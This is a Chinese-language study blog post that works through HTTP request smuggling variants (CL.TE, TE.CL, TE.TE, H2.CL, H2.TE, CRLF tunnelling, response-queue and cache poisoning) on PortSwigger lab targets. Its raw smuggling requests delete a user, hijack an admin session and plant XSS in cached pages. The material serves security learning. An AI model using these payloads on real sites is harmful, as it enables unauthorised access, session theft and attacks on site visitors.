笔记:

必要条件

1. 存在请求转发链

  • 典型场景客户端 → 前端服务器(反向代理/负载均衡)→ 后端服务器
  • 差异性:前端与后端服务器对 HTTP 请求的解析逻辑不一致。

2. 协议解析差异

  • 前端(如反向代理)与后端服务器对 Content-Length(CL)或 Transfer-Encoding(TE)标头的处理方式不同。
    • CL.TE 走私:前端用 Content-Length 解析,后端用 Transfer-Encoding 解析。
    • TE.CL 走私:前端用 Transfer-Encoding 解析,后端用 Content-Length 解析。
    • TE.TE 走私:前后端均支持 Transfer-Encoding,但对标头值的处理不一致(如大小写、非法字符)。

3. 连接复用(Keep-Alive)

“连接复用”特指前端服务器和后端服务器之间的TCP连接复用,而不是用户和前端服务器或者攻击者和前端服务器的复用连接

后端服务器必须复用 TCP 连接处理多个请求,否则走私的请求片段无法被后续请求捕获。

4. 非法请求构造可行性

  • 攻击者能构造包含歧义边界的请求:
    • 同时包含 Content-LengthTransfer-Encoding 标头。
    • 使用非规范化的标头值(如畸形的块长度、多个 Content-Length 头)。
  • 前端服务器未对非法请求进行规范化或拦截。

存在请求走私的环境要求:HTTP/1.1

如果只有HTTP/2是不行的

但是如果前端服务器会把HTTP/2进行降级那么也可能存在请求走私

注意事项:

注意cl是否需要被自动更新

换行是\r\n在包里占两个字节也会计算在cl里

第一个请求走私的污染包

路径最好不要只写/根路径

带点文件的路径拿过来更好打请求走私

不然有的时候会打不上去

比如这样

1
2
3
4
5
6
7
8
9
10
11
12
POST /resources/images/blog.svg HTTP/1.1(注意如果这里的/resources/images/blog.svg变成/可能会失效)
Host: 0a6600af0319bf3080aa943600c700d0.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session=azgRVA1fAluAtG2RSZMz6OvxCYYrs3yo
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Connection: closed

GET /admins HTTP/1.1
Foo: x

在有混淆的请求解析差异的基础上可以总结出这样的请求走私打法规则:

这个适用于适用于clte tecl clcl tete有协议解析差异的情况下

cl限制往小了写是让下面的多出来的字符做第二个请求。往大了写能拿来打延时判断存在
te下面0后面接字符是作为第二个请求。但是没写结束符0则是可以拿来打延时

上面这条规则适用于存在混淆边界(也就是存在协议解析差异)的情况下

困惑:

在不存在协议解析的差异的情况下为什么上面这条规则行不通了?不理解…..有大佬看到的话希望能解答解答教教我

qq:1512624649

这条规则是从cl和te的解析逻辑上推出来的.可是为什么没有协议解析差异就行不通了???

是因为RFC吗?但是tete靶场里明明没有严格遵循RFC好像也是不行

不理解┭┮﹏┭┮

ai说这样可以形成一种只对自己的下一次请求的污染?对别人不行.但我一直用tete靶场打的时候当我不对请求解析混淆的时候一直测不出来对自己的第二个请求的污染.这个观点存疑

其他使用技巧注意事项:

要注意HTTP/1.1如果默认支持HTTP/2的话默认会优先http/2

响应如果说请求头重复

一般是Host头重复了和正常的请求

正常的请求头是无法改变的.我们只好把第二个我们尝试污染的请求头里Host删除掉就可以了

到底什么是请求解析差异?

各种类型的混淆请求解析差异类型:

clte tecl的混淆方式

这里做个简单的举例

比如clte tecl这两种它本身存在两种请求解析

一种是Content-Length,一种是Transfer-Encoding

当两者共同存在的时候他们的请求解析就是混淆的

所以支持,然后根据前后端对这个不同的处理方式形成请求走私

这是portswigger的靶场cl.te包:

第二个Content-Length: 2的作用是为了让第二个变成完整的请求

这样的话头就不会重复不然会跟原先的Host头重复报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0a5300d503627e4d8187481200f600f4.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
X-Ignore: X
Content-Length: 2
Content-Type: application/x-www-form-urlencoded

12

te.cl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0a66004b030827208077262e00bc0087.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5a
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x
0


tete的混淆方式

虽然前后端解析都是te.但是请求头里仍然要存在cl字段并且正常使用就行.也就是让bp自动update他的字符个数即可

混淆标头的方法是参考参数污染的方式构造多个Transfer-Encoding请求头,例如:

1
2
3
4
5
6
7
8
9
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

混淆的标头要放在正常的te请求头前面才可以

这样可以导致错误的标头被前后端形成不同的处理

放在后面就会导致混淆失败

比如这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST / HTTP/1.1
Host: 0a58000103add95680376cb9003a0008.web-security-academy.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=Gji6kFE5GyJKj7XdXghfLDZ84GBKsdR4
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Content-Length: 6

0

G

clcl的混淆方式

标头同时存在两个cl

前端服务器和后端服务器都使用Content-Length请求头,但是前后端服务器对多个Content-Length请求头的处理存在差异时,存在此漏洞。如用户发送以下请求:

1
2
3
4
5
6
7
8
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 30\r\n
Content-Length: 5\r\n

a=1\r\n
GET /admin HTTP/1.1\r\n
X: 1

前端服务器根据Content-Length: 30解析请求主体获取完整请求,但是后端服务器根据Content-Length: 5解析请求主体,将a=1\r\n后的部分当作下一个请求的开头,此时如果前端服务器继续向后端服务器转发请求,后端服务器收到的第二个请求为:

1
2
3
4
GET /admin HTTP/1.1\r\n
X: 1POST / HTTP/1.1\r\n
Host: example.com\r\n
...

成功执行了注入的HTTP请求,导致请求走私。

cl.0类型并不需要混淆,本身就是一种被混淆过的

cl.0直接用默认的就可以了

他是前端存在cl.但是后端的cl默认为0

又或者说后端cl被忽略了

所以他本身就是个存在前后端请求解析差异的漏洞类型

前端的cl正常让他update字节就行

然后写入想要污染的请求就行了

比如这样

1
2
3
4
5
6
7
8
POST /resources/images/blog.svg HTTP/1.1
Host: 0a6600af0319bf3080aa943600c700d0.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Connection: Keep-Alive

GET /hopefully404 HTTP/1.1
Foo: x

H2.CL

根据文章里的讲解

原因是

前端会自动把HTTP2进行自动降级发送给后端

返回包里的HTTP/2 200 OK是前端的返回内容

如果发包请求改成HTTP/1.1

这里就是HTTP/1.1 200 OK

所以由此判断这里是前端响应的返回包

因为前端和后端之间是用HTTP/1.1把HTTP/2自动降级的

自动降级的时候如果没有检查请求包里的CL请求头或者验证删除

这个时候就会造成HTTP/1.1的请求走私

原理跟其他的类型其实都有点像

重点:为什么这里在HTTP/2可以的情况下改成HTTP/1.1的时候就不行了

原因在于HTTP/1.1的时候前端检测到的时候会对te和cl头进行检测和验证删除错误的

就不会请求走私

但是HTTP/2本来是不支持te和cl的

但是前端服务器会把它进行降级发送给后端

然后前端服务器对HTTP/2又没有检测验证te和cl头的话那么就可以请求走私

前端服务器在进行降级时会添加HTTP/1请求头,如果降级之前没有验证或删除Content-Length,那我们就可以注入Content-Length头,造成请求走私。

注意:YAKIT不太行这里要用bp右边改成http2

而不是直接改发包的字符不然不可以

image-20250501221256670

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST / HTTP/2
Host: 0ad600200454f10d8187110b00140041.web-security-academy.net
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://0ad600200454f10d8187110b00140041.web-security-academy.net/post/comment/confirmation?postId=10
Accept-Encoding: gzip, deflate, br
Priority: u=1
Content-Length: 0
Content-Type: application/x-www-form-urlencoded

GET /resources/labheader/images/ps-lab-notsolved.svg HTTP/1.1
Host: 0ad600200454f10d8187110b00140041.web-security-academy.net
Foo: X

H2.TE:

原理跟上一个差不多

前端服务器遇到HTPP/2的时候进行降级时会添加HTTP/1请求头,如果降级之前没有验证或删除Transfer-Encoding,那我们就可以注入Transfer-Encoding头,造成请求走私。

重点:当我们在成功之后对HTTP/2改成HTTP/1.1发现不能请求走私的原因:

原因在于前端服务器对HTTP/1.1的请求会进行te和cl的检测和验证

遇到HTTP/2的时候不会并且对他们进行降级

所以才存在这个类型的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/2
Host: 0a4a00ef04db2deb808e03950077005c.web-security-academy.net
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4a00ef04db2deb808e03950077005c.web-security-academy.net
Cookie: session=whF1fXAlIu4igEcgBjMxC2PgfCbVihoT
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a4a00ef04db2deb808e03950077005c.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=2, i

H2.0 漏洞:

有点像CL.0

后端默认为0并且忽略了cl

所以前端如果接受到cl

那么这个时候就会出现请求走私

收到的所有cl都会成为下一个数据

如果后端服务器忽略已降级请求的Content-Length请求头,则容易受到等效的“H2.0”漏洞的攻击。

使用场景利用点:

想要把受害者正常的请求回显出来要去找服务器端点有没有什么类似于公共留言版的地方才可以

  1. 存在回显或间接回显的端点
    • 目标服务器需存在能返回请求内容的功能(如留言板、搜索框、错误页面、日志接口等)。
    • 例如:/search?query=test 返回包含test的页面。
  2. 恶意请求能被后端处理并存储/返回
    • 走私的第二个请求需触发服务端记录或显示数据(如写入数据库、生成错误日志等)。

或者有没有什么可以外带的地方

如果要外带那么Host请求头可能会出现两个就会重复

这个时候就要用cl请求头去提前截止在第二个Host请求之前

然后构造的外带请求要自己写

注意:如果仅仅只是改host头服务器是不会把请求转发到外部的服务器的

除非服务器的有这样类似的逻辑才可以

1
2
url = f"http://{request.headers['Host']}/internal" 
requests.get(url) # 触发SSRF,向DNSLog发起请求

还可以通过我们自己构造的第二个请求里的cl长度去对一些不想要的内容或者协议头重复的地方前进行截止

这样也可以变成一个完整的请求

注意:如果是POST请求则一定需要第二个构造的请求里存在CL

不然会不能被当作一个正常的请求

除了上面使用到的对一个请求的提前截止的一些方法我们还可以在最后加两个\r\n让他变成一个完整的请求

使用场景:响应投毒

概念:缓存投毒和缓存欺骗:

前端服务器会缓存后端服务器资源可能会导致缓存欺骗和缓存投毒漏洞的存在

缓存投毒的原理是:让一个正常的静态文件变成一个恶意的js或者其他形式的代码或者文件

攻击者让用户和前端服务器都认为访问的是正常目录/home但是由于后端的请求走私实际返回的内容是一个恶意的/js/hacker.js的内容.当他们两个之间多次被人访问的时候存在缓存.也就导致缓存投毒.

缓存欺骗的原理是:通过把目标用户存储关键信息api等等路径如my-account的响应内容缓存到一个静态路径是/js/test.js的请求路径

这个时候攻击者就可以访问获取/js/test.js获取api等等

用户虽然访问了/js/test.js前端服务器也认为是/js/test.js但是由于请求走私的构造实际返回的内容是/my-account这个时候也就形成了缓存.别人也就可以获取

投毒和欺骗的区别在于:

投毒是让用户加载恶意的代码然后攻击者这里被动的拿到关键信息什么的通过加载恶意的js.适用于获取cookie什么的.但是api不存储在浏览器里获取不到

如果需要获取某个路径下的数据则需要使用欺骗

欺骗是让用户的关键信息路径的内容和一个静态的公共文件路径形成缓存.这个时候攻击者再去获取静态文件拿到关键信息内容比如api等等

靶场案例:

在最后加两个\r\n让他变成完整的请求之后

那么目标用户这个时候访问请求得到的响应就是第二个请求的响应.

那么我们该如何拿到用户的响应呢?

这个时候就用到了爆破.不断地爆破拿到用户的请求响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/2
Host: 0acf00e5030b839e800303b2006a00ad.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

3
x=y
0

GET /admin HTTP/1.1
Host: 0acf00e5030b839e800303b2006a00ad.web-security-academy.net


上面最后空两行是因为有两个换行符\r\n

不断的爆破

我们就有机会拿到目标用户的响应

1
2
3
4
5
6
7
HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=2VbUAqb6BgRlEttMXZyJs3IgpWFTbDNq; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0


靶场是这个https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling

原理图:

image-20250508135322510

HTTP2下关于绕过CL和te的检测手法:

HTTP/2 request smuggling via CRLF injection

适用场景:HTTP/2的降级情况下.才可以

通过右边的修改添加\r\n进行添加一个换行符绕过

这跟普通的换行符绕过是不同的

先看普通的换行符绕过包未绕过成功的情况下是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST / HTTP/2
Host: 0a6200e5042f0a2b8041037b00eb002a.web-security-academy.net
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 562
A: 1
Transfer-Encoding: chunked

3
x=y
0

POST /post/comment HTTP/1.1
Host: 0a6200e5042f0a2b8041037b00eb002a.web-security-academy.net
Cookie: session=A1r6UhopMritJ5QtfovkP8Iw5cx18EYe; _lab_analytics=YEZxczifpZQIdEmMILZlgRbva46pzRVgRcg9ugRyYYeere5qvA1T3kzbuvPygp6mJY0DwY5U2ZSMmLngNOvAFecybcFm6AohFn3gKmP0hKrcjNglmBnwoU7IfdYs2368oevsAqK8CF5jLJ4lhqm49yZGBhzM8kuOCbhYIuzHerAOsxQv8iWgcKlSKhO13WzPDQQpypfEhTVQD2x4w9lpUoucIMa8lqZxZb9pu3SLNbuPKo7rP8OJ13EOWB0RNdhm
Content-Length: 1200

csrf=hmUSrLLt37piaQCHMjtHLpSP9FaeVKld&postId=9&name=12312&email=123@qq.com&website=http://123.com&comment=ff

这样的包是不会出现请求走私

我们需要做的是

在右边HTTP/2的伪头部里进行换行符的写入

仔细观察HTTP/1和HTTP/2的情况下右边的header是不一样的写法.

HTTP/2的是伪头部

示例: 一个 HTTP/2 请求可能包含如下伪头部:

1
2
3
4
:method: GET
:path: /index.html
:authority: www.example.com
:scheme: https

image-20250508155908041

把Transfer-Encoding: chunked添加到右边的value里并且换行

这个时候再去点击一次apply changes

然后就会变成这样

image-20250508160001665

这个时候绕过也就成功了

我们尝试找个地方能让他回显出下一次请求的内容

有评论区或者搜索这个靶场里都可以做到

我这里用的是评论区

image-20250508160110008

把这个session拿到然后修改浏览器的session就可以了

http2里的请求隧道攻击–请求走私的变种:

如果前端和后端对我们这个请求不会搭建隧道也就是不复用tcp连接
我们可以把两个请求赛到一个请求里?这样也就可以看成是一个隧道?

只需要在HTTP2伪标头里CRLF换行注入就可以实现请求隧道攻击

  • 即使前端和后端不复用连接(即不共享TCP连接处理多用户请求),攻击者仍可通过构造单连接内的歧义请求,让后端解析出多个请求(走私)。
  • 这本质上是请求走私的一种实现,而非严格意义的“隧道复用”,但效果类似(绕过前端检查,向后端注入请求)。

请求隧道的crlf注入漏洞的原理图:

image-20250508210757019

image-20250508213120999

根据图片我们可以知道第二个请求走私的响应内容客户端是收不到的?

但是我们可以通过改成HEAD头去看反应

出现两个HTTP/1.1或者类似的两个Server Error都是代表着请求走私成功的意思

1
2
3
4
5
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 150

<html><head><title>Server Error: Proxy error</title></head><body><h1>Server Error: Received only 516 of expected 3247 bytes of data</h1></body></html>

补充:这里的环境是前端拿到的第一个请求包的显示的长度

然后返回的内容是第二个请求包的内容

所以当长度和内容不匹配的时候会出现

Server Error: Received only 516 of expected 3247 bytes of data

请求隧道走私缓存投毒笔记和当前比较有阶段性的总结:

请求隧道走私

就是通过伪标头crlf换行注入

实现绕过的前端

前端在降级HTTP/2请求的时候会重写

这个时候识别到里面的CRLF然后就变成正常的换行请求进行写入

这个时候也就绕过了前端的检验

重写为http/1.1的请求之后

一般一个就会变成两个请求

如果第一个请求是get那么返回的内容也是get.里面夹杂的第二个请求就算返回到前端.也最终不会显示到用户浏览器这里

原因是用户只发送了一个请求.前端服务器收到了两个来自后端服务器的响应.那么最终也只能返回一个响应包给用户

并且由于响应包里Content-Length的存在.导致第二个响应不能和第一个相应整合在一起

如何去实现让第二个响应的内容回显到用户这里或者说拼接到第一个响应的内容里呢

这个时候就用到了HEAD请求

他会返回响应头的内容

但是不会返回响应的具体数据.但是又由于响应头里存在Content-Length: 8401这个头

那么这个时候我们就可以把第二个响应包的数据放入形成一个新的响应

这个时候我们把第一个请求包的头改成HEAD

第二个请求是get情况下

我们最终得到的内容是

第一个响应的响应头和第二个响应的数据包内容

image-20250516001640887

我们现在知道了可以把响应包内容控制到第一个响应包里面

那么如何让响应包的内容变成我们想要的呢

只需要找到一个目录接口

image-20250516001804890

如图

当我们尝试给这个目录的接口写入一点东西的时候由于是一个文件夹的目录.他会帮我们把这个路径302跳转到文件夹的子路径里然后加上后面的值

那么这个时候test部分就是我们可以自由控制和编写

写点html标签和script就可以实现xss攻击

再回到我们的请求走私包的构造

当我们尝试去构造一个xss的payload之后我们可以发现

响应的时候会出现一个等待响应还是响应等待时间过长的报错回显(没有图忘记截图和懒得重启靶场了)

原因是当我们的响应头是Content-Length: 8401

那么意味着响应的内容应该是8401个字节的值

如果只写了个xss.那么不满足响应头这个数值的值

所以会让前端服务器以为还有后续的内容没有发送过来

然后一直等待响应

然后响应超时

这个时候我们需要做的是写入大量的字符让我们这个响应包的内容满足长度.甚至超出长度也没关系那样前端服务器会自动截取

但不要超过太多超过太多可能就到达前端服务器的处理上限也就报错了

这就是我们第一张图出现很多test的原因

image-20250516002611696

image-20250516002630605

最后的最后就是这个靶场里的缓存漏洞实现原理很简单

我们频繁的在bp里发送这个恶意的包

然后就会形成缓存.别人访问/路径的时候也就会出现我们写好的xss

然后造成危害

这个缓存是比较短暂的

可能十几秒或者一分钟缓存就会消失

这个时候你浏览器访问什么就是什么原来的内容

所以是缓存

所以需要利用的话要频繁发包

客户端不同步

客户端不同步同步 (Client-Side Desync) 是一种特定的 HTTP 请求走私攻击技术,可以使受害者的 Web 浏览器与易受攻击的网站之间的连接失去同步。它主要利用的是客户端和服务器之间在处理 HTTP 请求时的不同步现象,而不一定需要多个服务器之间的解析差异。因此,即使在单服务器环境中,也可能会受到这种攻击的影响。
HTTP 请求走私漏洞详解
当受害者访问包含恶意 JavaScript 的任意域(图中evil.com)上的网页时,恶意代码执行会导致受害者的浏览器向存在漏洞的网站(图中example.com)发出包含HTTP请求走私数据的请求,这一过程和CSRF有点相似。在服务器响应第一个请求后,走私请求会留在服务器上,从而导致与浏览器的连接不同步。后续请求会追加都走私请求后边,从而执行走私的请求,返回走私请求的响应。

Client-side desync

这里贴一部分,感觉跟csrf有点关系利用环境有点严格,感兴趣的师傅可以看看这个文章里的

HTTP 请求走私漏洞详解 - Hack All Sec的博客

服务器端基于暂停的不同步

当后端服务器在超时后不会关闭连接时,使用服务器端基于暂停的不同步可以引发类似CL.0的效果。如果我们将以下请求发送到后端服务器时:

1
2
3
4
5
6
7
8
POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /hopefully404 HTTP/1.1
Foo: x

只把请求头部分发送到后端服务器,然后停止发送请求主体部分的内容。后端服务器根据Content-Length: 34等待获取请求主体,但是一直没等到,直到超时并发送响应。然后发送请求主体。前端服务器将其视为初始请求的主体并通过同一连接将其转发到后端服务器。但是后端服务器已经响应了初始请求,因此把这些字节当作另一个请求的开始。当下一个请求被转发过来时,后端服务器收到的请求为:

1
2
3
4
GET /hopefully404 HTTP/1.1
Foo: xGET /xx HTTP/1.1
Host: xxx
...

此时我们实现 CL.0 的效果。Apache 2.4.52就容易受此影响。检测和利用此漏洞需要使用Burp的Turbo Intruder插件,直接在BApp store安装即可。

感兴趣的师傅可以看看这个文章里的.

HTTP 请求走私漏洞详解 - Hack All Sec的博客

AI—-基础知识的讲解举例

关于ai对小总结的补充和分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
---

### **你的笔记中的关键点与修正建议**

---

#### **1. 关于混淆的必要性与漏洞场景**
**你的总结基本正确**,但需澄清以下几点:
1. **严格模式下的走私可能性**
- **TE.TE(前后端均严格遵循分块编码)**:若请求完全符合 RFC 规范(如正确终止符 `0\r\n\r\n`),**额外字符会被视为非法数据**,无法走私。此时必须通过混淆(如分块扩展、非法头注入)绕过校验。
- **自我污染的限制**:即使使用 `keep-alive`,严格模式下后端会拒绝非法数据,导致无法污染后续请求。你的靶场测试结果符合此逻辑。

2. **CL.TE 的两种打法**
- **CL 写小**:前端截断请求体,后续字符作为下一个请求(无需混淆)。
- **CL 写大**:用于延时检测(判断服务器是否等待更多数据),但需依赖特定服务器行为。
- **无需混淆**:CL.TE 本身依赖前后端解析差异,不一定需要混淆头或格式。

---

#### **2. 混淆的定义与分类修正**
**混淆的核心是制造解析歧义**,而不仅仅是“添加多个头”或“冲突头”。以下是更精准的分类:

##### **(1) 协议头混淆**
- **CL.TE / TE.CL**:利用 `Content-Length` 与 `Transfer-Encoding` 的优先级差异(无需额外混淆)。
- **多值头污染**(如多个 `Transfer-Encoding`):
```http
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
  • 服务器行为差异:前端可能取第一个值(xchunked),后端取最后一个值(chunked)。
(2) 分块格式混淆
  • 分块扩展0;x=1\r\n\r\n,诱导服务器误判分块终止位置。
  • 非法换行符:用 \n 代替 \r\n,破坏分块解析逻辑。
  • 分块大小混淆:如十六进制大小写(0X0 代替 0)。
(3) 请求体混淆
  • 注入伪头:在请求体中插入类似 HTTP 头的结构(如 X: Y\r\n),诱导后端将其解析为新请求头。

3. 对 TE.TE 场景的补充

  • 严格模式下的走私可能
    即使前后端均使用 Transfer-Encoding,若后端对分块扩展(;)或注释解析存在漏洞,仍可走私。例如:

    1
    2
    3
    4
    5
    POST / HTTP/1.1
    Transfer-Encoding: chunked

    0;x="\r\n" # 分块扩展参数
    GET /admin HTTP/1.1\r\n...
    • 后端可能忽略分块扩展,误判终止位置,将 GET 视为新请求。

4. CL.CL 场景的修正

  • 多 Content-Length 头的处理
    你的示例中构造两个 Content-Length 头(30 和 5),实际场景中:

    • RFC 规范:多个 Content-Length 头必须值相同,否则视为非法请求(返回 400 Bad Request)。

    • 实战利用条件:需服务器未严格校验多值一致性。例如:

      1
      2
      Content-Length: 5
      Content-Length: 5 # 合法(重复相同值)

      或通过空格/TAB 绕过:

      1
      2
      Content-Length: 5
      Content-Length : 5 # 服务器可能解析为同一头

5. CL.0 场景的澄清

  • 本质是 CL 与默认行为的冲突
    前端使用 Content-Length,后端忽略该头并默认请求体长度为 0(或从其他上下文推断长度)。无需混淆,直接构造:

    1
    2
    3
    4
    5
    POST / HTTP/1.1
    Content-Length: 30 # 前端读取30字节
    Host: example.com

    GET /admin HTTP/1.1\r\n...
    • 后端可能仅处理前0字节,后续 GET 被保留为下一个请求。

总结:混淆的核心目标与实战策略

漏洞类型 是否需要混淆 关键混淆手段 示例场景
CL.TE 可选(依赖解析差异) 无需混淆,直接构造CL与TE冲突 前端CL截断,后端TE解析后续数据
TE.TE 必需(绕过严格校验) 分块扩展、非法换行符、多TE头污染 0;x=1\r\n + 注入请求
CL.CL 必需(绕过多值校验) 多CL头构造(空格/TAB混淆) Content-Length : 5 + 非法重复
CL.0 无需(利用默认行为差异) 直接构造CL覆盖实际数据长度 前端CL大值,后端默认长度0

你的测试结果解释

在 TE.TE 靶场中无法自我污染的原因是:

  1. 靶场严格遵循 RFC:后端在解析 0\r\n\r\n 后立即终止请求,后续字符被丢弃。
  2. 缺乏混淆手段:未使用分块扩展或非法格式,无法绕过终止符校验。

修正后的实战建议

  1. 明确漏洞类型:先确定目标是 CL.TE、TE.CL 还是 TE.TE。
  2. 按需选择混淆
    • CL.TE:无需混淆,直接构造 CL 与 TE 冲突。
    • TE.TE:必须混淆(分块扩展、非法头)。
  3. 工具辅助:使用 Burp Scanner 或 Turbo Intruder 自动探测解析差异点。
1
2
### 关于RFC的讲解:

RFC(互联网技术标准)与HTTP请求解析的关系,可以比喻为**“交通规则与车辆行驶”**的关系。RFC定义了互联网通信的“规则”,而请求解析则是服务器按照这些规则“解读”客户端发送的数据。以下是通俗易懂的解释:


1. RFC是HTTP请求的“语法规则书”

就像写作文需要遵循语法,HTTP请求必须符合RFC定义的格式,服务器才能正确理解。例如:

  • RFC 9110(HTTP/1.1):规定了HTTP消息的格式,如:
    • 请求行必须为 方法 URL 协议版本(如 GET /index.html HTTP/1.1)。
    • 头部字段需用 : 分隔键值(如 Host: example.com)。
    • 正文需通过 Content-LengthTransfer-Encoding 指定长度或分块。

如果请求不按RFC写,服务器可能“读不懂”,就像写错语法的句子让人困惑。


2. 请求解析:服务器如何“拆解”请求

当服务器收到HTTP请求时,会按照RFC规则逐步解析:

  1. 解析请求行:确认方法、URL和协议版本。
  2. 解析头部:逐个读取头部字段,直到遇到空行(\r\n\r\n)。
  3. 解析正文
    • 如果有 Content-Length,按指定长度读取正文。
    • 如果有 Transfer-Encoding: chunked,按分块格式读取(如 5\r\nhello\r\n0\r\n\r\n)。

关键点:RFC规定了解析的每一步逻辑,服务器必须严格遵循,否则可能被攻击者利用(如请求走私)。


3. RFC与请求走私漏洞的关系

请求走私的本质是**“前后端解析不一致”**,而这种不一致往往是因为违反了RFC规则。例如:

场景1:CL.TE攻击(前端用Content-Length,后端用Transfer-Encoding)

  • 攻击请求

    1
    2
    3
    4
    5
    6
    POST / HTTP/1.1
    Content-Length: 6 # 前端按此长度截断
    Transfer-Encoding: chunked

    0\r\n\r\n # 后端按分块解析到此处结束
    GET /admin HTTP/1.1 # 前端忽略,后端视为新请求
  • RFC规则
    RFC规定 Transfer-Encoding 优先级高于 Content-Length。如果后端严格遵循RFC,应忽略 Content-Length,但某些服务器未遵守此规则,导致解析差异。

场景2:TE.TE攻击(前后端均用Transfer-Encoding,但解析不一致)

  • 攻击请求

    1
    2
    3
    4
    5
    6
    POST / HTTP/1.1
    Transfer-Encoding: chunked
    Transfer-Encoding: xchunked # 混淆头

    0\r\n\r\n
    GET /admin HTTP/1.1
  • RFC规则
    RFC规定多个 Transfer-Encoding 头时,需按顺序处理(如 chunked 必须最后)。若后端错误解析,可能将 GET 视为新请求。


4. 为什么混淆请求能绕过防御?

RFC虽然严格,但部分服务器实现存在“容错性”,导致攻击者可构造看似非法但实际被部分服务器接受的请求。例如:

  • 分块扩展0;x=1\r\n\r\n(RFC允许分块后加注释,但某些服务器可能忽略注释)。
  • 非法换行符:用 \n 代替 \r\n(RFC要求 \r\n,但某些服务器接受 \n)。

这些“模糊点”让攻击者能构造混淆请求,诱导服务器错误解析。


总结:RFC与请求解析的关系

角色 作用 实际影响
RFC 定义HTTP请求的合法格式和解析逻辑。 确保全球服务器和客户端能互相理解。
服务器解析 按RFC规则拆解请求内容,提取方法、URL、头部、正文等。 若实现与RFC不一致,可能导致漏洞(如走私)。
攻击者 构造混淆请求,利用服务器解析漏洞,突破RFC的预期逻辑。 通过前后端解析差异实现请求走私。

类比理解

  • RFC:像乐高说明书,规定每块积木如何拼接。
  • 请求解析:像你按说明书拼乐高,如果某一步拼错(不符合RFC),最终模型可能不稳固(漏洞)。
